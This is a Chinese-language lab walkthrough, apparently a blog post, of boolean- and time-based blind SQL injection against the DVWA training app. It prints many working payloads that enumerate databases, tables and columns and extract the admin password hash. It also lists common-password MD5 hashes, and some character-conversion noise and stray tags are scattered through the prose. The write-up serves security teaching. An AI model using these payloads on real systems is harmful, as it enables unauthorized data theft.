(十一)DVWA全等級SQL Injection(Blind)盲注--手工測試過程解析

1、DVWA-SQL Injection(Blind)測試分析

SQL盲注 VS 普通SQL注入php

普通SQL注入 SQL盲注
1.執行SQL注入攻擊時,服務器會響應來自數據庫服務器的錯誤信息,信息提示SQL語法不正確等
2.通常在頁面上直接就會顯示執行sql語句的結果
1.通常狀況,執行SQL盲注,服務器不會直接返回具體的數據庫錯誤or語法錯誤,而是會返回程序開發所設置的特定信息(也有特例,如基於報錯的盲注)
2.通常在頁面上不會直接顯示sql執行的結果
3.有可能出現不肯定sql是否執行的狀況

根據頁面不一樣的響應方式,SQL盲注分爲:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。html

SQL盲注-測試思路

  1. 對於基於布爾的盲注,可經過構造真or假判斷條件(數據庫各項信息取值的大小比較,如:字段長度、版本數值、字段名、字段名各組成部分在不一樣位置對應的字符ASCII碼...),將構造的sql語句提交到服務器,而後根據服務器對不一樣的請求返回不一樣的頁面結果(True、False);而後不斷調整判斷條件中的數值以逼近真實值,特別是須要關注響應從True<-->False發生變化的轉折點。
  2. 對於基於時間的盲注,經過構造真or假判斷條件的sql語句,且sql語句中根據須要聯合使用sleep()函數一同向服務器發送請求,觀察服務器響應結果是否會執行所設置時間的延遲響應,以此來判斷所構造條件的真or假(若執行sleep延遲,則表示當前設置的判斷條件爲真);而後不斷調整判斷條件中的數值以逼近真實值,最終肯定具體的數值大小or名稱拼寫。
  3. 對於基於報錯的盲注,搜尋查看網上部分Blog,基本是在rand()函數做爲group by的字段進行聯用的時候會違反Mysql的約定而報錯。rand()隨機不肯定性,使得group by會使用屢次而報錯。
    目前階段暫未對基於報錯類型的盲注深刻了解過,若可能後續再做補充分析。

SQL盲注-測試流程

一樣的,和以前DVWA的普通SQL Injection操做流程相似,大體測試流程以下:
1.判斷是否存在注入,注入的類型
2.猜解當前數據庫名稱
3.猜解數據庫中的表名
4.猜解表中的字段名
5.獲取表中的字段值
6.驗證字段值的有效性
7.獲取數據庫的其餘信息:版本、用戶...前端

 

2、全等級SQL Injection(Blind)測試

全等級SQL Injection(Blind)對比mysql

Level Description
Low 1.文本框輸入並提交的形式,GET請求方式
2.未做任何輸入過濾和限制,攻擊者可任意構造所想輸入的sql查詢
Medium 1.下拉列表選擇數字ID並提交的形式,限制用戶在客戶端的輸入,POST請求方式
2.利用mysql_real_escape_string()函數對特殊符號(如:單引號'、雙引號"、反斜槓\...)進行轉義處理
High 1.將數據提交頁面和結果顯示界面實行分離在兩個不一樣頁面,必定程度上可約束SQLMap自動化工具的常規方式掃描(無法徹底阻擋)
2.在提交頁面,利用set-cookie對輸入的ID值進行傳遞到顯示頁面的cookie字段中保存
3.在sql語句中添加LIMIT1,以此限定每次輸出的結果只有1個記錄,不會輸出全部記錄
Impossible 1.採用了PDO技術,劃清了代碼與數據的界限,有效防護SQL注入,Anti-CSRF token機制的加入了進一步提升了安全性
2.採用參數化查詢,而非動態查詢
3.對代碼和數據實現分離處理

 

【A】Level: Low

服務端代碼:sql

<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> 

1.判斷是否存在注入,注入的類型
無論輸入框輸入爲什麼內容,頁面上只會返回如下2種情形的提示:
知足查詢條件則返回"User ID exists in the database.",不知足查詢條件則返回"User ID is MISSING from the database.";二者返回的內容隨所構造的真假條件而不一樣,說明存在SQL盲注。數據庫

 

 

  構造User ID取值的語句 輸出結果
1 exists
' MISSING
1 and 1=1 # exists
1 and 1=2 # exists
1' and 1=1 # exists
1' and 1=2 # MISSING

由語句⑤和⑥構造真假條件返回對應不一樣的結果,可知存在字符型的SQL盲注漏洞瀏覽器

2.猜解當前數據庫名稱
數據庫名稱的屬性:字符長度、字符組成的元素(字母/數字/下劃線/...)&元素的位置(首位/第2位/.../末位)安全

1)判斷數據庫名稱的長度(二分法思惟)服務器

輸入 輸出
1' and length(database())>10 # MISSING
1' and length(database())>5 # MISSING
1' and length(database())>3 # exists
1' and length(database())=4 # exists

==>當前所鏈接數據庫名稱的長度=4cookie

2)判斷數據庫名稱的字符組成元素
此時利用substr()函數從給定的字符串中,從指定位置開始截取指定長度的字符串,分離出數據庫名稱的每一個位置的元素,並分別將其轉換爲ASCII碼,與對應的ASCII碼值比較大小,找到比值相同時的字符,而後各個擊破。

mysql數據庫中的字符串函數 substr()函數和hibernate的substr()參數都同樣,但含義有所不一樣。 用法: substr(string string,num start,num length); string爲字符串; start爲起始位置; length爲長度。 區別: mysql中的start是從1開始的,而hibernate中的start是從0開始的。 

在構造語句比較以前,先查詢如下字符的ASCII碼的十進制數值做爲參考:

字符 ASCII碼-10進制   字符 ASCII碼-10進制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95   @ 64

以上常規可能用到的字符的ASCII碼取值範圍:[48,122]
固然也能夠擴大範圍,在ASCII碼全部字符的取值範圍中篩選:[0,127]

輸入 輸出
1' and ascii(substr(database(),1,1))>88 # exists
1' and ascii(substr(database(),1,1))>105 # MISSING
1' and ascii(substr(database(),1,1))>96 # exists
1' and ascii(substr(database(),1,1))>100 # MISSING
1' and ascii(substr(database(),1,1))>98 # exists
1' and ascii(substr(database(),1,1))=99 # MISSING
1' and ascii(substr(database(),1,1))=100 # exists

==>數據庫名稱的首位字符對應的ASCII碼爲100,查詢是字母 d

相似以上操做,分別猜解第2/3/4位元素的字符:
1' and ascii(substr(database(),2,1))>88 #
...==>第2位字符爲 v
1' and ascii(substr(database(),3,1))>88 #
...==>第3位字符爲 w
1' and ascii(substr(database(),4,1))>88 #
...==>第4位字符爲 a

從而,獲取到當前鏈接數據庫的名稱爲:dvwa

3.猜解數據庫中的表名
數據表屬性:指定數據庫下表的個數、每一個表的名稱(表名長度,表名組成元素)

對於Mysql,DBMS數據庫管理系統--->information_schema庫--->tables表--->table_schema,table_name,table_rows,...字段。其結構以下所示:

 

 

 

 

1)猜解表的個數

輸入 輸出
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 # MISSING
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # MISSING
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # MISSING
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exists

==> dvwa數據庫中表的個數=2

2)猜解表名

  • 表名稱的長度
# 1.查詢列出當前鏈接數據庫下的全部表名稱 select table_name from information_schema.tables where table_schema=database() # 2.列出當前鏈接數據庫中的第1個表名稱 select table_name from information_schema.tables where table_schema=database() limit 0,1 # 3.以當前鏈接數據庫第1個表的名稱做爲字符串,從該字符串的第一個字符開始截取其所有字符 substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1) # 4.計算所截取當前鏈接數據庫第1個表名稱做爲字符串的長度值 length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) # 5.將當前鏈接數據庫第1個表名稱長度與某個值比較做爲判斷條件,聯合and邏輯構造特定的sql語句進行查詢,根據查詢返回結果猜解表名稱的長度值 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # 
輸入 輸出
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # MISSING
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # exists
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # exists
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # exists

==> dvwa數據庫中第1個表的名稱字符長度=9

  • 表名稱的字符組成

依次取出dvwa數據庫第1個表的第1/2/.../9個字符分別猜解:

輸入 輸出
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

==> dvwa數據庫第1個表的第1個字符的ASCII碼=103,對應的字符爲g
...
==> 依次猜解出其餘位置的字符分別爲:u、e、s、t、b、o、o、k
==> 從而dvwa數據庫第1個表的名稱爲:guestbook


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
...
猜解出dvwa數據庫第2個表的名稱爲:users

4.猜解表中的字段名
表中的字段名屬性:表中的字段數目、某個字段名的字符長度、字段的字符組成及位置;某個字段名全名匹配

以[dvwa庫-users表]爲例:

1)猜解users表中的字段數目

# 判斷[dvwa庫-users表]中的字段數目 (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx # 判斷在[dvwa庫-users表]中是否存在某個字段(調整column_name取值進行嘗試匹配) (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1 # 猜解第i+1個字段的字符長度 length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx # 猜解第i+1個字段的字符組成,j表明組成字符的位置(從左至右第1/2/...號位) ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
輸入 輸出
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 # exists
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # exists

==>dvwa庫的users表中有8個字段

2)猜解users表中的各個字段的名稱
按照常規流程,從users表的第1個字段開始,對其猜解每個組成字符,獲取到完整的第1個字段名稱...而後是第2/3/.../8個字段名稱。
當字段數目較多、名稱較長的時候,若依然按照以上方式手工猜解,則會耗費比較多的時間。當時間有限的狀況下,實際上有的字段可能並不太須要獲取,字段的位置也暫且不做太多關注,首先獲取幾個包含關鍵信息的字段,如:用戶名、密碼...

【猜測】數據庫中可能保存的字段名稱
用戶名:username/user_name/uname/u_name/user/name/...
密碼:password/pass_word/pwd/pass/...

輸入 輸出
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 # MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1 # MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='uname')=1 # MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='u_name')=1 # MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # exists

==>users表中存在字段user

輸入 輸出
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # exists

==>users表中存在字段password

5.獲取表中的字段值

1)用戶名的字段值

輸入 輸出
1' and length(substr((select user from users limit 0,1),1))>10 # MISSING
1' and length(substr((select user from users limit 0,1),1))>5 # MISSING
1' and length(substr((select user from users limit 0,1),1))>3 # MISSING
1' and length(substr((select user from users limit 0,1),1))=4 # MISSING
1' and length(substr((select user from users limit 0,1),1))=5 # exists

==>user字段中第1個字段值的字符長度=5

2)密碼的字段值

輸入 輸出
1' and length(substr((select password from users limit 0,1),1))>10 # exists
1' and length(substr((select password from users limit 0,1),1))>20 # exists
1' and length(substr((select password from users limit 0,1),1))>40 # MISSING
1' and length(substr((select password from users limit 0,1),1))>30 # exists
1' and length(substr((select password from users limit 0,1),1))>35 # MISSING
1' and length(substr((select password from users limit 0,1),1))>33 # MISSING
1' and length(substr((select password from users limit 0,1),1))=32 # exists

==>password字段中第1個字段值的字符長度=32
猜想這麼長的密碼位數,多是用來md5的加密方式保存,經過手工猜解每位數要花費的時間更久了。

  • 方式①:用二分法依次猜解user/password字段中每組字段值的每一個字符組成
user字段-第1組取值   password字段-
第1組取值
第1個字符 1' and ascii(substr((select user from users limit 0,1),1,1))=xxx # 1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #
第2個字符 1' and ascii(substr((select user from users limit 0,1),2,1))=xxx # 1' and ascii(substr((select password from users limit 0,1),2,1))=xxx #
...... ...... ......
n個字符 1' and ascii(substr((select user from users limit 0,1),n,1))=xxx # 1' and ascii(substr((select password from users limit 0,1),n,1))=xxx #
user字段-第2組取值   password字段-
第2組取值
第1個字符 1' and ascii(substr((select user from users limit 1,1),1,1))=xxx # 1' and ascii(substr((select password from users limit 1,1),1,1))=xxx #
第2個字符 1' and ascii(substr((select user from users limit 1,1),2,1))=xxx # 1' and ascii(substr((select password from users limit 1,1),2,1))=xxx #
...... ...... ......
user字段-第i組取值   password字段-
i組取值
第1個字符 1' and ascii(substr((select user from users limit i-1,1),1,1))=xxx # 1' and ascii(substr((select password from users limit i-1,1),1,1))=xxx #
第2個字符 1' and ascii(substr((select user from users limit i-1,1),2,1))=xxx # 1' and ascii(substr((select password from users limit i-1,1),2,1))=xxx #
...... ...... ......
n個字符 1' and ascii(substr((select user from users limit i-1,1),n,1))=xxx # 1' and ascii(substr((select password from users limit i-1,1),n,1))=xxx #
  • 方式②:利用平常積累經驗猜想+運氣,去碰撞完整字段值的全名
user password md5($password)
admin password 5f4dcc3b5aa765d61d8327deb882cf99
admin123 123456 e10adc3949ba59abbe56e057f20f883e
admin111 12345678 25d55ad283aa400af464c76d713c07ad
root root 63a9f0ea7bb98050796b649e85481845
sa sa123456 58d65bdd8944dc8375c30b2ba10ae699
...... ...... ......
輸入 輸出
1' and substr((select user from users limit 0,1),1)='admin' #

1' and (select count(*) from users where user='admin')=1 #
exists
1' and (select count(*) from users where user='admin123')=1 # MISSING
1' and (select count(*) from users where user='root')=1 # MISSING
==>user字段的第1組取值爲admin  
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # exists
1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # MISSING
==>user---password字段的第1組取值:admin---password  

方式①的猜解準確率和全面性較高,可是手工猜解花費的時間比較長;方式②猜解效率可能稍快一些,手工猜解的命中率較低,若是用戶名or密碼字典數據較少,可能會漏掉數據沒有猜解出來,不肯定性較多。實際猜解過程當中,能夠結合兩種方法一塊兒來嘗試,互相補充。

6.驗證字段值的有效性
將以上admin--password填寫到前臺登陸界面的兩個輸入框中,嘗試登陸是否成功

 

 

admin用戶登陸成功

PS:
以上猜解的方法,除了利用基於布爾的盲注方式,還能夠利用基於時間延遲的盲注進行操做。此時,須要結合if函數和sleep()函數來測試不一樣判斷條件致使的延遲效果差別,如:1' and if(length(database())>10,sleep(5),1) #
if條件中即數據庫的庫、表、字段、字段值的獲取和數值大小比較,若服務器響應時執行了sleep()函數,則判斷if中的條件爲真,不然爲假。

 

【B】Level: Medium

服務端代碼:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?> 

 

 

此時,既然不能直接在前端界面中輸入所構造的數據進行提交,須要藉助攔截工具進行抓包、改包、重放惡意構造的數據,是時候讓咱們的Burp神器出場了。
(Firefox最新版61.x的瀏覽器中,F12鍵在消息頭中可使用編輯和重發功能,不過操做起來可能仍是沒有Burp直觀方便)

判斷是否存在注入,注入的類型
雖然前端界面上只能經過下拉列表選擇數字,提交後查詢顯示的都是"exists",可是抓包工具修改數據重放以後是能夠在工具中觀察到響應數據有"MISSING"和"exists"兩種返回結果的,以下:

 

 

Burp工具中Response數據
  輸入 輸出
1 exists
' MISSING
1 and 1=1 # exists
1 and 1=2 # MISSING
1' and 1=1 # MISSING
1' and 1=2 # MISSING

由③和④構造真假條件返回對應不一樣的結果,可知存在數字型的SQL盲注漏洞

猜解當前鏈接數據庫的名稱

對於 if(判斷條件,sleep(n),1) 函數而言,若判斷條件爲真,則執行sleep(n)函數,達到在正常響應時間的基礎上再延遲響應時間n秒的效果;若判斷條件爲假,則返回設置的1(真),此時不會執行sleep(n)函數

輸入 輸出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

==>以上根據響應時間的差別,可知當前鏈接數據庫名稱的字符長度=4,此時確實執行了sleep(2)函數,使得響應時間比正常響應延遲2s(2000ms)

輸入 輸出
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # 2049 ms
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # 19 ms
1 and if(ascii(substr(database(),1,1))>96,sleep(2),1) # 2037 ms
1 and if(ascii(substr(database(),1,1))>101,sleep(2),1) # 46 ms
1 and if(ascii(substr(database(),1,1))>99,sleep(2),1) # 2027 ms
1 and if(ascii(substr(database(),1,1))=101,sleep(2),1) # 27 ms
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) # 2020 ms

==>當前鏈接數據庫的名稱的第1個字符的ASCII碼爲100,對應字母d
......

後續過程與Low級別時相似,在此略過。Medium級別須要在攔截工具中操做編輯數據進行提交,還有因對特殊符號進行了轉義處理,因此對於帶有引號包含字符串的字段值,能夠轉換成16進制的形式進行繞過限制,從而提交到數據庫進行查詢

如:猜解表中的字段名時,猜解字段名的長度(對字段值users進行16進制轉換爲0x7573657273

Low級別 Medium級別
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #
---------------------------------------------------------
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

 

【C】Level: High

服務端代碼:

<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> 

 

 

對於LIMIT 1的限制輸出記錄數目,能夠利用#註釋其限制;服務端可能會隨機執行sleep()函數,作執行,則延遲的時間是隨機在2-4s,這樣會對正常的基於時間延遲的盲注測試形成干擾。所以能夠考慮用基於布爾的盲注進行測試:

【D】Level: Impossible

服務端代碼:

<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?> 
 

Impossible級別的SQL Injection(Blind)

  1. impossible.php代碼採用了PDO技術,劃清了代碼與數據的界限,有效防護SQL注入
  2. 只有當返回的查詢結果數量爲一個記錄時,纔會成功輸出,這樣就有效預防了暴庫
  3. 利用is_numeric($id)函數來判斷輸入的id是不是數字or數字字符串,知足條件才知曉query查詢語句
  4. Anti-CSRF token機制的加入了進一步提升了安全性,session_token是隨機生成的動態值,每次向服務器請求,客戶端都會攜帶最新從服務端已下發的session_token值向服務器請求做匹配驗證,相互匹配纔會驗證經過



做者:Fighting_001
連接:https://www.jianshu.com/p/757626cec742來源:簡書著做權歸做者全部。商業轉載請聯繫做者得到受權,非商業轉載請註明出處。

相關文章
相關標籤/搜索